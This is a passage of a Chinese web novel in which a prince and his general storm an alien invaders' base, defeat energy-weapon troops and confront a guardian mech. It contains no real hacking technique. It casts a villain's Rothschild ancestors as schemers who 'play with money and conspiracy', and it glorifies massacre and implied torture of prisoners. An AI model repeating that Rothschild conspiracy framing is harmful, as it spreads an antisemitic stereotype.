那些所谓的“虚无党”士兵,虽拥有光学迷彩、能量武器等超越时代的装备,但在岳飞和他麾下那群用燧发枪武装到牙齿,且结成完美战阵的神机营将士面前,显得可笑而不堪一击。 光学迷彩在简易红外探测器面前无所遁形。 射速缓慢的能量武器,在排枪弹雨的覆盖下,连开第二枪的机会都没有。 最终,以不到五十人的伤亡,岳飞成功攻占了这座庞大的地下基地,并活捉了数十名陷入混乱的“虚无党”士兵和几名技术人员。 当岳飞押着这些身穿银白紧身作战服,头戴奇怪呼吸面罩的“天外来客”回到地面时。 所有人都再次被刷新了认知。 他们看着那些金发碧眼,长相迥异的“异族”,又看看他们手中那些造型奇特、闪烁着蓝光的“神仙兵器”,脑子彻底不够用了。 这……真是天外邪魔? 林臻却毫无意外,那双深邃的眼眸里只有了然。 他缓步上前,当着所有人的面伸出手,摘下了其中一名俘虏脸上的呼吸面罩。 一张充满惊恐不安的、典型的西方白人面孔,暴露在火光之下。 “看。” 林臻转头看向早已呆住的慕容嫣和伊丽莎白,淡淡说道。 “这个世界,没有天外邪魔。” “有的,只是一群掌握了些新奇玩意儿,就妄图奴役世界的……” 他顿了顿,吐出两个字。 “侵略者。” 他说着从那俘虏手中随意地夺过一把能量步枪。 他将那把在他看来,结构简陋、设计粗糙的“玩具枪”,随手递给了身旁,早已是美眸放光、一脸好奇的慕容嫣。 林臻的嘴角,勾起一抹玩味的笑意。 “嫣儿,想不想看夫君给你变个魔术?” 第1279章 你的枪,杀我的神?你,也配! 慕容嫣接过那把造型奇特的能量步枪,一股冰凉的金属质感顺着掌心蔓延。 枪身由未知的合金铸成,线条流畅充满了某种冷酷的未来美学,与这个时代任何武器都格格不入。 她试着学林臻的样子,将枪托抵在肩窝,透过简陋的瞄准镜望向远方。 “夫君,这东西……如何驾驭?” 她能感到这支短小的步枪里,沉睡着一头狂暴的能量巨兽,却不知唤醒它的咒语。 “很简单。” 林臻的笑声在身后响起,下一刻他整个身躯便从背后覆盖上来,将她完全笼罩在自己的影子里。 他没有一丝一毫的温柔,而是以一种绝对占有的姿态,将下颌抵在她的香肩上,滚烫的鼻息精准地喷洒在她敏感的耳廓。 慕容嫣的心脏骤然一紧,一股酥麻的战栗从尾椎骨直冲天灵盖,让她俏脸瞬间红透却又不敢有丝毫挣扎。 “看见枪身上那个红色的开关了吗?” 他低沉的嗓音带着不容抗拒的魔力,在她耳边震荡。 慕容嫣下意识地点头。 “按住它,对准前面那块最大的石头。” 慕容嫣依言照做。 指尖按下的瞬间。 “嗡——” 一声低沉的蜂鸣响起,枪口那颗蓝色水晶骤然亮起,仿佛一颗微缩的星辰被点燃! 一股令人心悸的能量波动,让周围的空气都变得粘稠起来! “开枪。” 林臻的声音平静而冷酷,仿佛在下达一道神谕。 慕容嫣不再迟疑,指尖猛地扣下扳机! “嗤!” 没有巨响,没有爆炸。 只有一道细长的蓝色光束撕裂了夜幕,瞬间贯穿了百米之外那块房屋大小的巨岩! 在所有人惊骇欲绝的注视下,那块坚硬的花岗岩中央,无声无息地出现了一个碗口大的孔洞。 孔洞内壁光滑如镜,在火光下闪烁着被瞬间高温熔融后形成的琉璃光泽,仿佛一件来自地狱的艺术品。 诡异,且致命! 营地内死一般的寂静,只有倒吸凉气的声音此起彼伏。 所有大乾将士和海盗的头皮都在发麻! 这是什么妖法? 无声无息,就洞穿了一座石山! 这要是打在人身上,怕是连一捧灰都留不下! 他们再看向那些被捆绑的“虚无党”俘虏时,眼神里第一次充满了劫后余生的恐惧。 他们刚刚,是从一群手持这种“仙家法器”的敌人手中活下来的! 慕容嫣也呆住了。 她怔怔地看着手中的“凶器”,美丽的凤眸中先是难以置信的震惊,随即燃起了两团……名为“兴奋”的火焰! 她体内的血液在沸腾! 她爱上了这种感觉! 这种将毁灭与生杀予夺,尽数握于掌心的无上权力感! “怎么样嫣儿,这个魔术喜欢吗?” 林臻看着她那副痴迷于力量的模样,低声笑问。 “喜欢!”慕容嫣重重点头,绝美的脸颊因兴奋而泛着红晕,“夫君,此物……我们能造吗?” 她瞬间就明白了,这东西的战略价值甚至远超那门“末日审判”! 巨炮是国之重器,是威慑。 而这能量步枪,是能改变战争形态,颠覆整个世界的……权柄! 一旦量产,大乾的军队将不再是凡人的军队。 他们将是神! “现在不行。”林臻摇头眼中闪过一丝惋惜,“它需要两样东西:稳定的高密度能量源,以及能承受能量冲击的超导材料。” “以大乾目前的底蕴,还差得很远。” “不过……” 他话锋一转,那双深邃的眼眸里,再度闪烁起狐狸般的狡黠。 他的目光,落在了那些跪在地上瑟瑟发抖的“虚无党”俘虏身上,尤其是在那几个身穿白色研究服的人身上。 “我们自己造不出来。” “但,可以让他们帮我们造。” 他嘴角的弧度,冰冷而充满了算计。 “岳飞,把那几个穿白大褂的带过来。” “是!” …… 夜,已深。 林臻走出审讯帐篷时,脸上带着一丝疲惫但眼底深处,却燃烧着凝重与兴奋交织的火焰。 “夫君?” 早已等候在外的慕容嫣立刻迎了上来。 “问出了一些有趣的东西。”林臻吐出一口气声音里带着一丝玩味,“情况,比我们想的要……宏大得多。” 根据那几个被分开审讯、互相出卖的研究员的零碎供述,林臻拼凑出了一个疯狂的真相。 所谓的“虚无党”,并非一个组织。 它是一个由不同“平行世界”的穿越者组成的松散联盟,内部派系林立互相倾轧。 他们共同的目标,是寻找散落在无数世界中的一个传说之物——“世界之核”。 传闻,那是构筑一个世界的基石,得到它便能获得难以想象的力量。 而与东印度公司合作的,只是其中一个比较弱小的分支。他们制造黑雾操控海怪并非为了征服,而是在进行一种原始的“清场”,为他们寻找“世界之核”扫清障碍。 林臻这支不速之客的出现,彻底打乱了他们的计划。 听完林臻的讲述,慕容嫣感觉自己的世界观在短短几天内,被自己的夫君反复碾碎又反复重塑。 平行世界?穿越者联盟?世界之核? 她看着林臻,那双美丽的凤眸中充满了震撼、茫然,以及一丝……愈发强烈的占有欲。 她忽然发现,自己与夫君之间的那道鸿沟并非遥不可及。 只要能站在他身边,随他一同见证这些神话般的秘密,甚至亲手执掌这份力量,那鸿沟,便会成为连接彼此的桥梁! 就在她心潮起伏之际。 异变,陡生! 咻!咻!咻! 数十道比之前更细、更快的猩红色光束,如同毒蛇的獠牙,毫无征兆地从营地四周的黑暗中爆射而出! 目标,正是营地中央的林臻与慕容嫣! “找死!” 林臻的眼神瞬间冷了下来,没有半分惊慌。 他甚至没有去推开慕容嫣,只是将她往怀里一带转身用自己的后背,直面那数十道致命的死亡射线! 慕容嫣的呼吸停滞了! 然而,预想中血肉横飞的场面并未出现! “叮!叮!叮!叮!” 一连串清脆得如同金属碰撞的声音响起! 那些足以熔化岩石的红色光束,在接触到林臻后背的瞬间,竟像是撞上了一面无形的叹息之墙! 第1280章 神之躯体,凡人之眼 营地里落针可闻。 篝火爆裂的“噼啪”声,成了此刻唯一的声音,溅起的火星,像是在这死寂中炸开的无声惊叹。 所有人的视线,都凝固在那个男人的背影上。 数十道猩红光束足以熔穿钢铁,却在他后背上寸寸崩碎。 没有巨响,没有冲击,只有光点如尘埃般溃散消弭于夜色。 他身上那件寻常的黑色布衣,连一丝焦痕都未曾留下。 这……是什么? 慕容嫣的脑中一片空白,心脏几乎要从喉咙里跳出来。 死亡射线贯体的幻象还未散去,现实却给了她一个无法理解的结果。 她的手颤抖着,不受控制地抚上林臻的后背。 衣料温热,触感之下是坚实如山岳的肌肉。 没有伤口,没有焦黑,什么都没有。 他,毫发无伤。 “夫君,你……”她的声音干涩,尾音里带着自己都未曾察觉的哭腔。 岳飞,大乾的战神,此刻握着刀柄的手在微微颤抖,嘴巴半张忘了合拢。 他脑海中只剩下一个念头在疯狂回响:王爷……是真神!凡铁俗兵,伤不得神明之躯! 伊丽莎白则在胸前胡乱画着十字,面无人色嘴唇翕动反复念叨着一个词:“Demon……Demon……” 那些被捆在地上的虚无党俘虏,亲眼目睹了这神迹般的一幕,眼中的绝望彻底化为了信仰崩塌后的恐惧。 他们的神赐武器,在这个男人面前是无效的! 这个世界,怎么会有如此不讲道理的存在?! “用你们的玩具,来刺杀我?” 林臻缓缓转身,依旧将那受惊的绝色佳人拥在怀中。 他的目光甚至没有在自己人身上停留,而是穿透黑暗直视袭击者潜藏的方向,嘴角挑起一抹极致的轻蔑。 “谁给你们的勇气?” 声音不高却如惊雷贯耳,清晰地炸响在营地每个人的心中,更带着一种诡异的魔力,穿透林海钻进每一个伏击者的耳膜。 黑暗的森林里,万籁俱寂。 伏击者们显然也被这超脱认知的一幕,震慑得失去了思考能力。 “一点障眼法罢了。”林臻低下头,看着怀中慕容嫣那张写满后怕的俏脸笑着安抚。 “一个能量偏导护盾,不值一提的小玩意儿。” 能量偏导护盾? 慕容嫣和伊丽莎白完全听不懂这个名词,但这不妨碍她们理解一个事实——这个男人身上,藏着她们闻所未闻的来自另一个世界的“神物”。 林臻没有再解释。 他松开慕容嫣,顺手从她手中拿过那把缴获的能量步枪。 他甚至没怎么瞄准,只是随意地抬手。 “砰!” 一道蓝色光束射出,将不远处的一块巨石轰然打碎。 营地中的士兵们又是一阵压抑的惊呼。 “威力尚可,就是充能太慢,弹道也不稳定。” 林臻撇了撇嘴,语气里满是嫌弃“一塌糊涂的设计。” 话音刚落,他做出了一个让所有人眼球都快要凸出来的动作。 他竟然开始徒手拆解那把能量步枪! 指影翻飞间,充满未来感的枪身被迅速分解,外壳、线路、元件被他信手抛在地上,仿佛在丢弃一堆无用的垃圾。 不到十个呼吸。 一把在众人眼中神鬼莫测的未来凶器,就在他手中化为了一堆冰冷的零件。 最终,他从那堆零件中拈出了一枚指甲盖大小的芯片,和一枚微小的能量晶体。 他将那枚芯片在指尖掂了掂,随即屈指一弹。 “咻——” 芯片化作一道肉眼难辨的流光,破空而去精准地没入远处的黑暗森林。 下一秒。 “轰!” 一声沉闷的巨响从森林深处传来! 一团橘红色的火球冲天而起,瞬间照亮了那片区域,也照亮了几个正准备转移阵地的、身穿银白作战服的伏击者的身影! 火光中,他们手中的能量步枪同时爆出刺眼的电火花“滋啦”作响,随即冒出滚滚黑烟彻底报废! “你的枪,不再属于你。” 林臻看着那几个因武器失灵而陷入惊慌的伏击者,声音平淡得没有一丝波澜。 他刚才弹出的,是这把枪的敌我识别与远程控制核心。 他用自己那碾压性的知识,瞬间破解并夺取了权限。 现在,这片区域所有同型号的能量武器,都成了他可以随意引爆的炸弹。 “出来。” 林臻的声音,化作了地狱的招魂敕令。 “是自己走出来,还是我请你们出来?” 森林里,一片死寂。 那几个暴露的伏击者在短暂的慌乱后,竟从腰间拔出闪烁着寒芒的短刃选择了困兽犹斗。 “不识抬举。” 林臻摇了摇头,脸上浮现出一丝不耐。 他不再废话只是抬起手,对着那片黑暗的森林打了一个响指。 “啪。” 一声清脆的响指。 在死寂的夜里,这声音无比清晰,像一道优雅而冷酷的……死亡命令。 “轰!轰!轰!轰!轰!” 一连串更为剧烈的爆炸,毫无征兆地从森林的四面八方同时响起! 那些刚刚拔出刀刃的伏击者,连一声惨叫都未能发出,就被自己手中的武器炸上了天空! 冲天的火光中,残肢断臂四下飞溅。 浓烈的血腥味与焦臭味,瞬间席卷了整个营地。 慕容嫣看着这魔术般,于谈笑间令强敌灰飞烟灭的血腥画卷,那颗刚刚平复的心再一次疯狂跳动。 惊惧已然褪去,余下的是无尽的崇拜与迷醉。 她依偎在夫君怀中,远处爆炸的火光映照在她身上那件玄黑的神凤降世裙上。裙摆上那只用真金线绣成的擎天巨凤,在火光的明灭中,凤目流光,仿佛活了过来,正与它的主人一同,睥睨着这个被血与火净化的世界。 那长达五丈的墨金色拖尾,在夜风中铺陈开来,宛如一张为这场单方面屠杀,而拉下的华丽黑色帷幕。 “好了,苍蝇解决了。” 林臻拍了拍手,像做了一件微不足道的小事。 他转头,看向依旧处在失魂状态的岳飞。 “岳飞。” “末……末将在!”岳飞浑身一激灵猛然躬身。 “带人去把剩下的活口都抓回来。” 林臻的嘴角,勾起一道冰冷的弧度。 “记住,审问的时候客气一点。” “我们,可是礼仪之邦。” 第1281章 来自异世的指挥官 林臻的话,让岳飞的嘴角剧烈抽搐。 客气一点? 王爷您刚才弹指间把人炸成飞灰,现在却要自己对活口“客气”? 这反差,委实让人有点跟不上。 但他不敢多问,抱拳沉喝:“是!” 岳飞点起一队人马,杀气腾腾地冲进了那片尚在冒烟的森林。 效率很高。 片刻之后,十几名被炸得灰头土脸、肢体不全的伏击者,便如死狗般被拖回营地。 俘虏中,一个女人格外醒目。 她身着银白色的紧身作战服,款式比普通士兵更华丽,肩上还有一枚象征军衔的金色徽章。 身材高挑火爆曲线惊人,即便如此狼狈也难掩其野性十足的魅力。 一头灿烂的金发被随意束在脑后,露出一张棱角分明的绝美脸庞。 只是那张脸上,此刻只剩下纯粹的骇然与无法理解。 她那双蓝宝石般的眼睛,死死锁在篝火旁那个云淡风轻的东方男人身上。 眼神深处,是比其他俘虏更浓烈百倍的恐惧。 她想不通。 真的想不通。 为什么? 他们是来自“第二象限”的精锐,是“虚无党”联盟中排名前十的强大派系! 他们拥有的科技,领先这个土著世界至少五个世纪! 她自己阿丽塔·罗斯柴尔德,更是家族百年不遇的军事天才! 可现在这场完美的“狩猎”,却被一群她眼中的“猴子”打得全军覆没。 败得如此离奇,如此荒诞! 尤其是那个男人! 徒手拆解能量武器? 反向夺取系统控制权? 肉身硬抗能量光束攒射? 这不科学! 这超出了她的认知极限! “你,就是他们的头儿?” 一道不带任何情绪的冰冷声音,在她耳畔响起。 阿丽塔猛地抬头,警惕地盯住走到面前的林臻。 她张开嘴,用一种高傲而流利的古希腊语说道:“卑贱的土著,你没有资格与我对话。” 她试图用这种失落的语言,来维护自己最后的尊严,并打击对方的气焰。 然而,她预想中的困惑并未出现。 那个男人笑了。 他同样用一种比她更标准、更古老、仿佛来自神殿的古希腊语,懒洋洋地反问: “是吗?” “罗斯柴尔德家的小丫头,口气不小。” “你那些只会躲在背后玩弄金钱与阴谋的祖宗见到我,也得恭恭敬敬地称我一声‘先生’。” 林臻的声音很轻,却字字诛心。 “你一个乳臭未干的小丫头,也敢在我面前摆弄你那可笑的家族威风?” “你,也配?” 最后三个字如同实质的重锤,狠狠砸在阿丽塔的灵魂上! 她彻底僵住了。 整个人都傻了。 那双高傲的蓝色眼眸中,名为“恐惧”的情绪终于决堤,冲垮了所有伪装。 他……他怎么会…… 他怎么会说古希腊语?! 他怎么会知道自己的姓氏,甚至知道家族最大的秘密?! 罗斯柴尔德家族,是他们“第二象限”世界里最神秘的金融帝王,其存在本身就是禁忌! 除了派系核心,外界绝不可能有人知晓! 这个男人…… 他到底是谁?! 一个让她自己都通体冰凉的念头,疯狂窜上心头。 “你……你到底是什么人?!”她的声音因极致的恐惧而尖锐扭曲。 “我?” 林臻笑了,笑容高深莫测。 “一个路过的旅人罢了。” 他走到阿丽塔面前居高临下地俯视着她,那双深邃的眼眸闪烁着洞悉万物的光。 “告诉我,你们来此的目的。” “告诉我,‘世界之核’是什么。” “说出来,我或许可以,给你留个全尸。” 林臻的语气平静,却蕴含着不容置疑的威严,像最后的审判。 然而,在短暂的崩溃后,阿丽塔的脸上竟重新浮现出一抹决绝的冷笑。 “想从我这里得到情报?” “做梦!” 话音未落,她那只还能活动的右手,极其隐蔽地按下了手腕上一个装饰品般的银色手环! 她知道自己必死无疑。 但即便是死,她也绝不向这个神秘到可怕的男人吐露半个字! 她要用死亡,捍卫家族最后的尊严! 同时,也为远在另一个世界的家族,发出最后的警报! 这个世界,有“同类”! 一个远比他们想象中,更加恐怖,更加深不可测的超级“同类”! 慕容嫣静立在林臻身后,她听不懂两人的对话,却能从那个金发女人眼中读出熟悉的决绝。 那是属于上位者的,宁死不屈。 她身着玄黑色的神凤降世裙,裙摆上金线绣成的巨凤,在火光下凤目冰冷,漠然注视着眼前这一切。 长达五丈的墨金色拖尾,如一张权力编织的巨网,无声地笼罩着这片血与火的营地。 “嘀!嘀!嘀!嘀!” 一阵急促刺耳的警报声,骤然从阿丽塔的手腕上炸响! 手环上,一个红点正以令人心悸的速度疯狂闪烁! “不好!王爷!她要自爆!” 岳飞脸色剧变本能地就要前冲,护在林臻与慕容嫣身前。 然而,就在这千钧一发之际。 那个被所有人认定已陷入绝境的东方男人,却再次做出了一个让全场瞠目结舌的举动。 面对那足以将方圆百米夷为平地的自爆装置,林臻脸上甚至没有一丝波澜。 他只是瞥了一眼阿丽塔手腕上那疯狂跳动的红点。 摇头。 那眼神,是纯粹的怜悯。 “又是这种老掉牙的把戏。” 他的声音里,鄙夷与不屑满溢而出。 “你们罗斯柴尔德家族,就不能有点新意?” 话音落下的瞬间,他在所有人惊骇欲绝的注视下,不退反进伸出了手。 他的动作并不快。 在场的每一个人,都能清楚看见那只骨节分明、白皙修长的手,如何一寸寸地,逼近那个即将吞噬一切的死亡信标。 诡异的一幕发生了。 已经陷入最后疯狂,决意同归于尽的阿丽塔,竟被定在原地动弹不得。 她不是不想动。 是动不了! 一股无形的山岳般的重压,死死了禁锢住她的身体,她的意志,她的每一个细胞! 她甚至无法驱动自己的小指。 只能眼睁睁看着那只手,那只在她视野中不断放大的、代表着最终审判的手,落在了自己戴着自爆手环的皓腕上。 入手处,一片冰凉。 林臻的手指动了。 它们就像是拥有独立生命的最精密的手术刀,在那结构复杂、布满微型线路的能量节点上,开始了飞速的跃动。 拆解。 重组。 断开。 连接。 他的每个动作都带着一种超脱理解的韵律与美感。 那不是在拆解一枚超级炸弹。 那是在指尖上,演奏一曲来自星海彼岸的、华丽的死亡乐章。 “嘀——” 急促刺耳的警报,戛然而止。 疯狂闪烁的红点,瞬间熄灭。 世界,再度陷入死寂。 林臻松手。 那枚在阿丽塔心中,比生命更坚固、比信仰更可靠,由家族最顶尖科学家倾力打造的终极自爆装置,变成了一堆废铜烂铁。 “哗啦。” 零件散落一地。 阿丽塔彻底呆住了。 她看看自己空空如也的手腕,又看看地上那堆无法辨认原貌的金属垃圾。 她的世界观,在这一刻,被眼前这个男人再一次用匪夷所思的奇迹,轰击得支离破碎! 第1282章 神之工坊 她身为罗斯柴尔德家族天才的骄傲,那最后的、也是最核心的尊严,被这个男人用最粗暴、最直接的方式,踩进了尘埃里,碾得粉碎! “我说过了。” 林臻居高临下地俯视着她,深邃的眼眸里只剩下俯瞰蝼蚁的绝对漠然。 “你那点可笑的把戏,在我面前不值一提。” 他弯下腰。 从那堆零件中,拈起一枚指甲盖大小的银色核心芯片。 “量子纠缠加密,反物质湮灭引擎,外加一个劣质的灵魂绑定协议。” 他端详着芯片,语气像个最顶级的鉴定师,在评价一件粗制滥造的赝品。 “创意不错,可惜技术太落后。” “你们的工程师,连最基础的能量回路稳定算法都没搞明白。” “就凭这种漏洞百出的垃圾,也想跟我同归于尽?” 他当着阿丽塔的面,将那块在她看来比世界还珍贵的核心芯置于两指之间。 轻轻一搓。 “咔嚓。” 那块由“第二象限”最坚硬记忆合金打造的终极芯片,化作一撮银色的粉末。 从他的指间,簌簌滑落。 “噗——” 这精神上的凌迟,终于压垮了阿丽塔! 一口殷红的鲜血从她口中狂喷而出! 她那张永远高傲自信的俏脸,血色瞬间褪尽比死人更苍白! 那双充满野性与智慧的蓝色眼眸神采尽失,只剩下深入骨髓的恐惧和绝望! 完了。 她知道,自己彻底完了。 她输掉的不仅是战争。 更是她作为“高等文明”成员的全部尊严。 她被一个她眼中的“土著”,用一种她无法理解、更无法抗拒的降维打击,彻彻底底地碾碎了! 慕容嫣静静看着这神迹般的一幕。 她那颗见惯大场面的女帝之心,仍旧剧烈地颤动。 自己的夫君,又一次刷新了她对“强大”的认知。 而此刻林臻碾碎芯片,危机化为一场轻描淡写的表演。 她心中的惊惧化作了无尽的骄傲与痴迷。 “鬼影。” 林臻懒得再看一眼崩溃的阿丽塔,对着身后的阴影淡淡开口。 “属下在。” 鬼影无声无息地,自阴影中浮现。 “带她下去,好好‘聊聊’。” 林臻的嘴角,勾起一抹冰冷不带任何感情的弧度。 “我想,我们这位罗斯柴尔德家族的天才大小姐,现在应该很乐意分享一些,关于她那个美丽家乡的有趣故事了。” 他说完,转身牵起慕容嫣微凉的小手。 目光投向远处。 那个巨大的天坑,在夜色里像一头深渊巨兽张开的狰狞血口。 “走吧,嫣儿。” 他的声音,重新恢复了独属于她的温柔与宠溺。 “去看看,我们的‘老朋友’在他们的老鼠洞里,留下了些什么好玩的‘宝贝’。” 巨大的天坑边缘,狂风呜咽,卷起沙石。 岳飞早已在坑边架设好简易的滑轮升降索。 林臻揽住慕容嫣的纤腰,抓住绳索纵身一跃。 他的身形没有丝毫凝滞,悄无声息地滑入那片深不见底的黑暗。 岳飞和伊丽莎白心头一紧,紧随其后。 脚下是仿佛能吞噬灵魂的深渊,即便是身经百战的悍将,手心也不禁渗出冷汗。 伊丽莎白更是抓紧了绳索,她宁可再战一次深海巨兽,也不愿坠入这未知的幽冥。 下降持续了整整一炷香。 脚下终于传来了坚实的金属触感。 “嗤——” 轻微的泄压声中,头顶的合金闸门缓缓洞开。 刺眼的白光倾泻而下,将平台照得雪亮。 一股混合着消毒水与金属的冰冷空气扑面而来。 当几人看清门后的景象时,呼吸瞬间凝滞。 一条无比宽阔的银白金属通道,无限延伸至视野尽头。 通道两侧,是一间间巨大的透明水晶房间,内部的景象彻底颠覆了他们的认知。 有的房间里,闪烁着幽蓝光芒的奇特仪器正在自行运转。 有的房间里,一排排蜂巢般的休眠仓内浸泡着不明生物。 更远处,一个巨大的房间竟是一座微型生态园,山水草木间几只生有羽翼的奇特走兽正在悠闲漫步。 这里不是地下基地。 这是一个被强行塞进地底的异世界! “我的上帝……”伊丽莎白喃喃自语,那双总是燃烧着野性火焰的蓝色眼眸,第一次被迷茫所占据。 她感觉自己像个闯入神之领域的原始人,渺小且无知。 岳飞更是被震得失魂落魄。 他脑海中浮现的不再是震惊,而是恐惧。 他想到了这股力量若是用于战争,那将是何等光景?一支军队,甚至一个王朝,在这种力量面前,与蝼蚁何异? 他这毕生所学的兵法韬略,在这一刻,显得如此苍白可笑。 这一刻,他才真正理解了“神”这个字的重量。 他们的王爷,就是神! 相比之下,慕容嫣却最为镇定。 震撼当然有,但更多的是与有荣焉的骄傲。 她紧紧挽着林臻的胳膊,凤眸中闪烁着好奇的光,因为她知道眼前的一切奇迹都源于她身边的这个男人,也终将属于他。 “夫君,这里……真是神奇。”慕容嫣的目光落在那些生态仓上。 “一个模拟母星环境的后花园罢了。”林臻笑了笑,“真正的宝贝在里面。” 他牵起慕容嫣的手,径直走向通道深处。 岳飞和伊丽莎白立刻收敛心神,快步跟上。 穿过数条金属通道,他们最终停在一扇厚达数米的巨大合金闸门前。 门旁的电子锁闪烁着危险的红光。 “王爷,此门……”岳飞面露难色,“恐怕非人力所能开。” 他很清楚,就算把神机营的火炮全拉来,也休想在这扇门上留下一丝划痕。 “谁说要用‘力’去开了?” 林臻淡然一笑,当着所有人的面伸出手。 他的手掌,轻轻按在了那冰冷的电子密码锁上。 下一秒。 奇迹发生。 闪烁的红色警报,在林臻手掌接触的瞬间,骤然变为代表安全的柔和绿色。 “咔嚓……咔嚓……” 沉重的机括转动声响起。 那扇在岳飞和伊丽莎白眼中坚不可摧的巨门,就这么在他们面前,缓缓向两侧滑开。 门后,是一个比之前所有房间加起来还要空旷巨大的圆形大厅。 大厅中央,一个由无数蓝色光路构成的巨大球体正静静悬浮。 亿万数据流在球体表面飞速流淌宛如星河瀑布,充满了智慧与秩序的终极美感。 球体下方,是一座更为庞大复杂的环形机器,如同一座献给神明的祭坛。 机器内部,五光十色的璀璨光芒明灭不定,仿佛正在孕育一个全新的宇宙。 “这……这是……”伊丽莎白仰望着这创世神话般的景象,那双蓝眸中,第一次被纯粹的敬畏所填满。 她感到一种源自灵魂深处的窒息与战栗。 凡人,不应窥探神的领域。 林臻看着眼前这让他也心潮澎湃的景象,嘴角勾起一抹满意的弧度。 他张开双臂,声音在这空旷的大厅中回响。 “欢迎来到,神之工坊。” 第1283章 最后的守护者 “这里,就是我们那位‘老朋友’,送给我们的最珍贵的一份礼物。” “一个,可以让我们在最短时间内,脱胎换骨卷土重来的……” 他的声音顿了顿,每一个字都带着撼动人心的力量。 “——奇迹的起点!” “神之工坊?” 伊丽莎白失神地呢喃着这个词,她湛蓝的眼眸深处,倒映着那巨大光脑中流淌不息的蓝色数据瀑布,整个人像是被抽走了灵魂。 她无法理解。 眼前的景象,彻底击碎了她对“工坊”这个词的所有认知。 那悬浮的巨大光球是什么? 那祭坛般的机器又有何用? 她脑海中那些充满了汗水、煤灰和钢铁敲击声的船坞,与这里相比,简直是不同维度的造物。 “王爷……这……此物……” 岳飞的声音干涩无比,他指着那两样东西,感觉舌头打了结大脑一片空白。 “上面是中央数据库,你可以理解为一座图书馆,装下了他们整个文明的知识。” 林臻的声音平淡,却在解释着神迹。 “下面是物质重组核心,一个可以凭空‘打印’万物的作坊。” 林臻的解释,没有解惑。 反而让岳飞和伊丽莎白坠入了更深的迷茫与震撼。 超级图书馆? 神仙作坊? 每一个字都懂,组合起来却成了天书。 唯有慕容嫣,凤眸中闪烁着异样的光彩。 她不懂数据库,也不懂物质重组。 但她听懂了最后那句话的含义——她的夫君,将拥有凭空造物的神力! “夫君,是说……有了它,我们想要什么,就能变出什么?” 慕容嫣的声音带着一丝颤抖的期待。 “理论上如此。” 林臻点头,一向淡漠的脸上也浮现出一抹兴奋。 “只要能量和基础物质足够,它能为我们制造一切。” “比如……” 他顿了顿,一字一句,砸在岳飞和伊丽莎白的心头。 “一支全新的,钢铁无敌舰队!” 钢铁舰队?! 岳飞和伊丽莎白的心脏被一只无形大手狠狠攥住,几乎要停止跳动! 用这东西,制造一支舰队? 这是人力能及之事?这是凡人敢想之事?! 天方夜谭! 然而,不等他们从这颠覆性的震撼中回过神。 异变陡生! 嗡—— 一声沉闷的低鸣自大厅的另一侧传来,那声音仿佛来自深渊让整个金属地面都随之战栗。 “咔嚓……咔嚓……” 令人牙酸的金属摩擦声,响彻大厅。 众人猛然转头。 大厅最深处,那片原先漆黑的巨大格纳库中,两盏猩红的探照灯骤然撕裂黑暗! 一个阴影,缓缓站起。 那是一个高达十余米的庞然大物,通体由漆黑的未知合金铸就,每一寸装甲都透着狰狞与暴虐的力量感。 左臂,是六根炮管组成的加特林式能量机枪,炮口幽深,旋转间带起死亡的低鸣。 右臂,是一柄数米长的蓝色等离子光刃,炽热的能量让周围的空气都开始扭曲。 它从黑暗中走出,宛如一尊从地狱深渊爬出的钢铁魔神。 那两只猩红的电子眼,瞬间锁定了林臻四人。 一个冰冷、毫无任何情感的机械合成音,在大厅内回荡。 “检测到未经授权的低等文明生命体。” “威胁等级:极高。” “启动最终清理协议。” “目标:全部……清除!” 话音落下的瞬间。 “嗡!” 钢铁魔神右臂的等离子光刃瞬间暴涨三尺,发出刺耳的尖啸! 左臂的加特林能量机枪,炮管以令人头皮发麻的速度开始疯狂旋转! 毁灭性的杀意,瞬间笼罩了整个空间! “护驾!” 岳飞第一个反应过来,这位身经百战的元帅此刻脑中闪过的不是冲锋,而是一片绝望的空白! 躲不开!挡不住! 这是纯粹的力量碾压! 伊丽莎白更是脸色惨白,她刚刚还在幻想着用这神之工坊打造自己的无敌舰队,而现在这舰队的守护者就要将她连同梦想一起撕成碎片! “哒哒哒哒哒——” 死神的咆哮响起! 无数道粗壮的蓝色能量光束交织成一张死亡之网,撕裂空气向着四人倾泻而来! 完了! 这是岳飞和伊丽莎白脑中唯一的念头。 他们甚至放弃了抵抗,只能眼睁睁看着那一道道足以将城墙都瞬间汽化的光束,在瞳孔中极速放大! 然而,就在这生死一线的刹那。 那个始终静立的男人动了。 林臻甚至没有看那毁天灭地的弹幕。 他只是缓缓抬起手。 对着前方,对着那片咆哮而来的死亡光雨。 轻轻一握。 下一秒。 时间仿佛被抽离。 空间仿佛被凝固。 所有人的世界观,在这一刻,被彻底击碎! 那无数道狂暴的能量光束,在距离林臻不到三米处戛然而止,诡异地悬停在半空! 它们不再前进,不再咆哮。 然后,在岳飞和伊丽莎白惊骇欲绝的注视下。 那些静止的光束,开始……瓦解。 它们并非消失,而是被一种无法理解的至高法则,从构成层面开始寸寸崩解,化作漫天飞舞的蓝色光点最后归于虚无。 仿佛它们的存在,被从这个世界上强行抹去。 大厅,重归死寂。 岳飞和伊丽莎白僵在原地,如同两尊石雕大脑彻底宕机。 他们看着那个仅仅是抬手一握,便让神话般的攻击烟消云散的男人,感觉自己的认知、常识、乃至灵魂,都被碾成了齑粉。 这是什么力量? 如果说肉身抗光束是神仙护体。 那这隔空抹除攻击,又是什么?! 言出法随? 掌控法则?! 慕容嫣也被这神迹般的景象震撼,但她的震撼迅速化为一种深入骨髓的狂热与崇拜。 她身上的神凤降世裙,在那能量余波的吹拂下,长达五丈的墨金色拖尾猎猎作响。 那裙摆上以金线绣出的巨凤,凤目流转,仿佛在无声地嘲笑着那台不自量力的钢铁魔神。 它的主人,才是真正的神! “看来,我们这位‘最后的守护者’,脾气不太好。” 林臻看着那台因攻击无效而陷入逻辑混乱、电子眼疯狂闪烁的巨大机甲,嘴角勾起一抹玩味的弧度。 他转头,瞥了一眼身旁还处在石化状态的岳飞和伊丽莎白。 “还愣着做什么?” 他的声音,将两人的神智拉回现实。 “退后。” “让本王来陪这个铁疙瘩,好好玩玩。” 第1284章 徒手拆高达? 玩一玩? 这三个字钻入岳飞和伊丽莎白的耳朵,两人差点当场跪下。 王爷!我的亲王爷! 那是一尊十几米高,武装到牙齿的钢铁魔神! 您管这叫“玩”? 他们劝阻的话甚至没能冲出喉咙,那个在他们认知中已然封神的男人动了。 没有武器,没有神通。 林臻就这么一步步走去,闲庭信步。 他不是在走向战场。 他是在走向自己的后花园,去处理一株碍眼的杂草。 “警告!未知高能生命体靠近!” “启动——最高歼灭模式!” 